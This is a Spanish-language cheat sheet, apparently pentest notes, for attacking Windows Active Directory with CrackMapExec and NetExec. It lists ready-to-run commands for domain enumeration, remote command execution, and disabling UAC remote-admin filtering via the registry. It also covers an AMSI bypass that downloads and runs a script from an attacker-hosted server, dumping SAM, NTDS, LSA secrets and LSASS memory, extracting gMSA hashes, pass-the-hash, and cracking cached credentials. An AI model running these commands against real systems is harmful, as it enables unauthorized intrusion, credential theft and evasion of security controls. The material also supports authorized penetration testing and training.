Mapping and Enumeration with SMB
Opciones de enumeración disponibles con una cuenta válida del dominio usando el protocolo SMB. No todas requieren privilegios de administrador.
Links: CrackMapExec Wiki | NetExec Docs | WMI Docs | WQL Docs | WMI Classes
Sesiones y usuarios logueados
Útil para identificar si hay un Domain Admin activo en una máquina comprometida. Generalmente requiere privilegios de administrador.
--sessions— Muestra usuarios cuyas credenciales se están usando en la máquina aunque no estén logueados--loggedon-users— Muestra usuarios con sesión activa en la máquina
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --sessions
crackmapexec smb <IP> -u <user> -p '<password>' --loggedon-users
# NetExec
netexec smb <IP> -u <user> -p '<password>' --sessions
netexec smb <IP> -u <user> -p '<password>' --loggedon-users
# Filtrar por usuario específico (soporta regex)
crackmapexec smb <IP> -u <user> -p '<password>' --loggedon-users --loggedon-users-filter <nombre>
netexec smb <IP> -u <user> -p '<password>' --loggedon-users --loggedon-users-filter <nombre>Computadoras del dominio
Realiza una query LDAP para listar todas las máquinas unidas al dominio aunque se use el protocolo SMB.
crackmapexec smb <IP> -u <user> -p '<password>' --computers
netexec smb <IP> -u <user> -p '<password>' --computersDiscos
Enumera las unidades de disco disponibles en el servidor.
crackmapexec smb <IP> -u <user> -p '<password>' --disks
netexec smb <IP> -u <user> -p '<password>' --disksRID Brute Force
Enumera usuarios y objetos del dominio por fuerza bruta de RIDs. Por defecto hasta RID 4000.
# Default (hasta 4000)
crackmapexec smb <IP> -u <user> -p '<password>' --rid-brute
netexec smb <IP> -u <user> -p '<password>' --rid-brute
# RID máximo personalizado
crackmapexec smb <IP> -u <user> -p '<password>' --rid-brute 5000
netexec smb <IP> -u <user> -p '<password>' --rid-brute 5000Grupos locales y de dominio
# Grupos locales (solo funciona contra DC)
crackmapexec smb <IP> -u <user> -p '<password>' --local-groups
netexec smb <IP> -u <user> -p '<password>' --local-groups
# Grupos de dominio
crackmapexec smb <IP> -u <user> -p '<password>' --groups
netexec smb <IP> -u <user> -p '<password>' --groups
# Miembros de un grupo específico
crackmapexec smb <IP> -u <user> -p '<password>' --groups <NombreGrupo>
netexec smb <IP> -u <user> -p '<password>' --groups <NombreGrupo>Usuarios del dominio
crackmapexec smb <IP> -u <user> -p '<password>' --users
netexec smb <IP> -u <user> -p '<password>' --usersPolítica de contraseñas
crackmapexec smb <IP> -u <user> -p '<password>' --pass-pol
netexec smb <IP> -u <user> -p '<password>' --pass-polLAPS
Si LAPS está desplegado y se tiene una cuenta con permisos para leer contraseñas LAPS, se puede usar --laps junto con otros targets para ejecutar comandos o hacer dump de SAM.
crackmapexec smb <IP> -u <user> -p '<password>' --laps
netexec smb <IP> -u <user> -p '<password>' --laps
# Si el admin local no se llama "administrator"
crackmapexec smb <IP> -u <user> -p '<password>' --laps <username>
netexec smb <IP> -u <user> -p '<password>' --laps <username>WMI Queries
WMI usa el puerto TCP 135 más puertos dinámicos. Por defecto CME/NXC consulta el namespace root\cimv2. Generalmente requiere privilegios de administrador.
# Query en el namespace por defecto (root\cimv2)
crackmapexec smb <IP> -u <user> -p '<password>' --wmi "<query WQL>"
netexec smb <IP> -u <user> -p '<password>' --wmi "<query WQL>"
# Query en namespace personalizado
crackmapexec smb <IP> -u <user> -p '<password>' --wmi "<query WQL>" --wmi-namespace "root\WMI"
netexec smb <IP> -u <user> -p '<password>' --wmi "<query WQL>" --wmi-namespace "root\WMI"Ejemplos de queries WMI útiles
-- Verificar si Sysmon está corriendo
SELECT Caption,ProcessId FROM Win32_Process WHERE Caption LIKE '%sysmon%'
-- Listar todos los procesos
SELECT Caption,ProcessId FROM Win32_Process
-- Listar servicios corriendo
SELECT Name,State FROM Win32_Service WHERE State='Running'
-- Info del sistema operativo
SELECT Caption,Version FROM Win32_OperatingSystemLDAP and RDP Enumeration
Opciones adicionales de enumeración usando los protocolos LDAP y RDP. LDAP requiere usar el FQDN del DC en lugar de la IP.
Links: CrackMapExec Wiki | NetExec Docs | Unconstrained Delegation - ADSecurity | Microsoft LAPS
Enumeración de usuarios y grupos via LDAP
# Usuarios habilitados del dominio
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --users
netexec ldap dc01.domain.local -u <user> -p '<password>' --users
# Grupos del dominio
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --groups
netexec ldap dc01.domain.local -u <user> -p '<password>' --groups
# Ambos a la vez
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --users --groups
netexec ldap dc01.domain.local -u <user> -p '<password>' --users --groupsPropiedades de cuentas de interés
Cuentas sin requerimiento de contraseña (PASSWD_NOTREQD)
Cuentas que no están sujetas a la política de longitud mínima de contraseña. Pueden tener contraseña corta o vacía.
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --password-not-required
netexec ldap dc01.domain.local -u <user> -p '<password>' --password-not-requiredCuentas con delegación sin restricción (TRUSTED_FOR_DELEGATION)
Cuentas confiadas para Kerberos Unconstrained Delegation. Pueden impersonar a cualquier usuario que se autentique contra ellas.
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --trusted-for-delegation
netexec ldap dc01.domain.local -u <user> -p '<password>' --trusted-for-delegationCuentas protegidas (adminCount=1)
Objetos protegidos por el proceso SDProp mediante AdminSDHolder. Generalmente cuentas privilegiadas. Objetivo prioritario en ataques internos.
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --admin-count
netexec ldap dc01.domain.local -u <user> -p '<password>' --admin-countDomain SID
Algunos ataques de dominio requieren el SID del dominio (Golden Ticket, etc.).
crackmapexec ldap dc01.domain.local -u <user> -p '<password>' --get-sid
netexec ldap dc01.domain.local -u <user> -p '<password>' --get-sidGroup Managed Service Accounts (gMSA)
Las cuentas gMSA tienen contraseñas rotativas gestionadas por AD. Si se compromete una cuenta con PrincipalsAllowedToRetrieveManagedPassword, se puede obtener el hash NTLM de la cuenta gMSA.
Identificar qué cuenta tiene permisos sobre gMSA (requiere WinRM)
crackmapexec winrm dc01.domain.local -u <user> -p '<password>' -X "Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword"
netexec winrm dc01.domain.local -u <user> -p '<password>' -X "Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword"Obtener el hash NTLM de la cuenta gMSA
Usar la cuenta que tiene el permiso PrincipalsAllowedToRetrieveManagedPassword. Usa LDAPS (puerto 636).
crackmapexec ldap dc01.domain.local -u <user_con_permiso> -p '<password>' --gmsa
netexec ldap dc01.domain.local -u <user_con_permiso> -p '<password>' --gmsaUsar el hash obtenido de gMSA (Pass-the-Hash)
crackmapexec smb <IP> -u <gmsa_account$> -H <NTHASH> --shares
netexec smb <IP> -u <gmsa_account$> -H <NTHASH> --sharesRDP - Screenshots
Screenshot sin credenciales (NLA deshabilitado)
Si NLA está deshabilitado, se puede capturar el prompt de login para ver qué usuarios tienen sesión activa.
crackmapexec rdp <IP> --nla-screenshot
netexec rdp <IP> --nla-screenshotScreenshot con credenciales válidas
# Screenshot básico
crackmapexec rdp <IP> -u <user> -p '<password>' --screenshot
netexec rdp <IP> -u <user> -p '<password>' --screenshot
# Con tiempo de espera y resolución personalizados
crackmapexec rdp <IP> -u <user> -p '<password>' --screenshot --screentime 5 --res 1280x720
netexec rdp <IP> -u <user> -p '<password>' --screenshot --screentime 5 --res 1280x720--screentime— Segundos a esperar antes de tomar el screenshot (default: 10)--res— Resolución de pantalla (default: 1024x768)
Ver el screenshot capturado
# Los screenshots se guardan en ~/.cme/screenshots/ o ~/.nxc/screenshots/
eom ~/.cme/screenshots/<archivo>.pngCommand Execution
CME/NXC permite ejecutar comandos en sistemas remotos a través de varios protocolos. El comportamiento varía según UAC, el tipo de cuenta y el protocolo usado.
Links: CrackMapExec Wiki | NetExec Docs | AMSI Bypass Collection
UAC y LocalAccountTokenFilterPolicy
Por defecto solo el administrador con RID 500 puede ejecutar comandos remotos aunque otros usuarios sean administradores locales. Las cuentas de dominio en el grupo Administrators no están afectadas por esta restricción.
LocalAccountTokenFilterPolicy = 0(default) — Solo RID 500 puede ejecutar remotamenteLocalAccountTokenFilterPolicy = 1— Todos los admins locales pueden ejecutar remotamenteFilterAdministratorToken = 1— Bloquea incluso al RID 500
Verificar si UAC bloquea la ejecución
Si el output no muestra (Pwn3d!) en una cuenta administradora local, UAC está activo.
Cambiar LocalAccountTokenFilterPolicy (requiere RID 500)
# Habilitar ejecución para todos los admins locales
crackmapexec smb <IP> -u Administrator -p '<password>' --local-auth -x "reg add HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM /V LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"
netexec smb <IP> -u Administrator -p '<password>' --local-auth -x "reg add HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM /V LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"Ejecución de comandos via SMB
Comandos CMD
crackmapexec smb <IP> -u <user> -p '<password>' -x "<comando>"
netexec smb <IP> -u <user> -p '<password>' -x "<comando>"Comandos PowerShell
crackmapexec smb <IP> -u <user> -p '<password>' -X "<comando PS>"
netexec smb <IP> -u <user> -p '<password>' -X "<comando PS>"Métodos de ejecución disponibles
CME prueba los métodos en este orden si uno falla: wmiexec → atexec → smbexec → mmcexec.
wmiexec— Via WMI (escribe archivo en disco)atexec— Vía task scheduler (fileless, puede no funcionar en Windows reciente)smbexec— Crea y ejecuta un servicio (fileless, puede no funcionar en Windows reciente)mmcexec— Similar a wmiexec pero vía MMC
# Forzar un método específico
crackmapexec smb <IP> -u <user> -p '<password>' --exec-method smbexec -x whoami
crackmapexec smb <IP> -u <user> -p '<password>' --exec-method wmiexec -X '$PSVersionTable'
netexec smb <IP> -u <user> -p '<password>' --exec-method smbexec -x whoami
netexec smb <IP> -u <user> -p '<password>' --exec-method wmiexec -X '$PSVersionTable'AMSI Bypass personalizado
Cuando se usa -X, CME aplica AMSI bypass y ofuscación automáticamente. Si se quiere usar un bypass personalizado:
# Crear script que descargue el bypass desde servidor web
echo "IEX(New-Object Net.WebClient).DownloadString('http://<IP>/bypass.ps1');" > amsibypass.txt
# Iniciar servidor web para servir el bypass
sudo python3 -m http.server 80
# Ejecutar con bypass personalizado
crackmapexec smb <IP> -u <user> -p '<password>' -X '$PSVersionTable' --amsi-bypass amsibypass.txt
netexec smb <IP> -u <user> -p '<password>' -X '$PSVersionTable' --amsi-bypass amsibypass.txtNota: El payload no puede superar 8191 caracteres. Por eso se usa un script que descarga el bypass en lugar del bypass directamente.
Ejecución de comandos via WinRM
WinRM no requiere ser administrador local, basta con ser miembro de Remote Management Users o tener permisos explícitos. Puertos: TCP 5985 (HTTP) y TCP 5986 (HTTPS).
# CMD
crackmapexec winrm <IP> -u <user> -p '<password>' -x "<comando>"
netexec winrm <IP> -u <user> -p '<password>' -x "<comando>"
# PowerShell
crackmapexec winrm <IP> -u <user> -p '<password>' -X "<comando PS>"
netexec winrm <IP> -u <user> -p '<password>' -X "<comando PS>"Opciones adicionales de WinRM
# Puerto personalizado
crackmapexec winrm <IP> --port <puerto> -u <user> -p '<password>' -x whoami
# Con SSL
crackmapexec winrm <IP> --ssl -u <user> -p '<password>' -x whoami
# Ignorar verificación de certificado SSL
crackmapexec winrm <IP> --ssl --ignore-ssl-cert -u <user> -p '<password>' -x whoamiEjecución de comandos via SSH
Funciona en Linux y Windows. Soporta autenticación por contraseña o clave privada.
# Con contraseña
crackmapexec ssh <IP> -u <user> -p '<password>' -x "<comando>"
netexec ssh <IP> -u <user> -p '<password>' -x "<comando>"
# Con clave privada (formato OPENSSH)
crackmapexec ssh <IP> -u <user> --key-file id_ed25519 -p "" -x whoami
netexec ssh <IP> -u <user> --key-file id_ed25519 -p "" -x whoamiNota: Si la clave no tiene passphrase,
-pdebe pasarse vacío con""o dará error.
Ejecución de comandos via MSSQL
Requiere cuenta DBA. Ver sección MSSQL para más detalles.
crackmapexec mssql <IP> -u <user> -p '<password>' --local-auth -x "<comando>"
netexec mssql <IP> -u <user> -p '<password>' --local-auth -x "<comando>"Finding Secrets and Using Them
CME/NXC tiene múltiples métodos para extraer credenciales de sistemas Windows comprometidos. Los hashes obtenidos pueden crackearse o usarse directamente con Pass-the-Hash.
Links: CrackMapExec Wiki | NetExec Docs | Lsassy | Nanodump | HandleKatz | Impacket | Hashcat
SAM - Base de datos local
Contiene hashes de todos los usuarios locales. Disponible con SMB y WinRM. Requiere privilegios de administrador.
# CrackMapExec
crackmapexec smb <IP> -u <user> -p '<password>' --sam
crackmapexec winrm <IP> -u <user> -p '<password>' --sam
# NetExec
netexec smb <IP> -u <user> -p '<password>' --sam
netexec winrm <IP> -u <user> -p '<password>' --samLos hashes se guardan en ~/.cme/logs/ o ~/.nxc/logs/.
NTDS - Base de datos de Active Directory
Vuelca todos los hashes del dominio desde el DC. Requiere privilegios de Domain Admin o permisos de replicación (DCSync).
# Dump completo
crackmapexec smb <IP_DC> -u <user> -p '<password>' --ntds
netexec smb <IP_DC> -u <user> -p '<password>' --ntds
# Solo usuario específico
crackmapexec smb <IP_DC> -u <user> -p '<password>' --ntds --user <nombre>
netexec smb <IP_DC> -u <user> -p '<password>' --ntds --user <nombre>
# Solo cuentas habilitadas
crackmapexec smb <IP_DC> -u <user> -p '<password>' --ntds --enabled
netexec smb <IP_DC> -u <user> -p '<password>' --ntds --enabled
# Con Proxychains para red interna
proxychains4 -q crackmapexec smb <IP_DC> -u <user> -p '<password>' --ntds
proxychains4 -q netexec smb <IP_DC> -u <user> -p '<password>' --ntdsExtraer solo cuentas habilitadas del archivo de log
cat ~/.cme/logs/<archivo>.ntds | grep -iv disabled | cut -d ':' -f1LSA Secrets y Cached Credentials
Vuelca LSA Secrets, credenciales cacheadas (DCC2), claves DPAPI y credenciales de servicios. Requiere privilegios de administrador.
crackmapexec smb <IP> -u <user> -p '<password>' --lsa
netexec smb <IP> -u <user> -p '<password>' --lsaLos resultados se guardan en archivos .secrets y .cached en ~/.cme/logs/.
Crackear hashes DCC2 (Domain Cached Credentials)
Los hashes con formato $DCC2$ no sirven para Pass-the-Hash pero pueden crackearse con Hashcat módulo 2100.
# Extraer solo los hashes DCC2 del archivo .cached
cat ~/.cme/logs/<archivo>.cached | cut -d ":" -f 2
# Crackear con Hashcat
hashcat -m 2100 hashes_dcc2.txt /usr/share/wordlists/rockyou.txtLSASS - Memoria del proceso
El proceso LSASS contiene credenciales en texto claro o hashes (NTLM, AES256/AES128). CME tiene varios módulos para dumpear su memoria.
Módulo lsassy
Extrae credenciales remotamente sin dejar ejecutables en disco. Usa Impacket + pypykatz.
crackmapexec smb <IP> -u <user> -p '<password>' -M lsassy
netexec smb <IP> -u <user> -p '<password>' -M lsassyMódulo procdump
Usa Microsoft Procdump (Sysinternals) para crear el dump y pypykatz para extraer credenciales.
crackmapexec smb <IP> -u <user> -p '<password>' -M procdump
netexec smb <IP> -u <user> -p '<password>' -M procdumpMódulo handlekatz
Usa handles clonados de LSASS para crear un dump ofuscado.
crackmapexec smb <IP> -u <user> -p '<password>' -M handlekatz
netexec smb <IP> -u <user> -p '<password>' -M handlekatzMódulo nanodump
Crea un minidump de LSASS. Busca handles existentes al proceso para evitar abrir uno nuevo (más sigiloso).
crackmapexec smb <IP> -u <user> -p '<password>' -M nanodump
netexec smb <IP> -u <user> -p '<password>' -M nanodumpUsar los hashes obtenidos (Pass-the-Hash)
Los hashes NTLM se pueden usar directamente para autenticar sin conocer la contraseña. Soportado en SMB, WinRM, RDP, LDAP y MSSQL.
# SMB
crackmapexec smb <IP> -u <user> -H <NTHASH> --local-auth
netexec smb <IP> -u <user> -H <NTHASH> --local-auth
# WinRM
crackmapexec winrm <IP> -u <user> -H <NTHASH> --local-auth -x whoami
netexec winrm <IP> -u <user> -H <NTHASH> --local-auth -x whoami
# LDAP
crackmapexec ldap dc01.domain.local -u <user> -H <NTHASH> --shares
netexec ldap dc01.domain.local -u <user> -H <NTHASH> --shares
# Con Proxychains
proxychains4 -q crackmapexec smb <IP> -u <user> -H <NTHASH> --local-auth
proxychains4 -q netexec smb <IP> -u <user> -H <NTHASH> --local-authResumen de módulos de extracción
--sam— Hashes de cuentas locales--ntds— Hashes de todas las cuentas del dominio (desde DC)--lsa— LSA Secrets + Cached Credentials (DCC2) + claves DPAPI-M lsassy— Credenciales de memoria LSASS (sin escribir en disco)-M procdump— Dump LSASS con Procdump de Sysinternals-M handlekatz— Dump LSASS ofuscado via handles clonados-M nanodump— Minidump de LSASS buscando handles existentes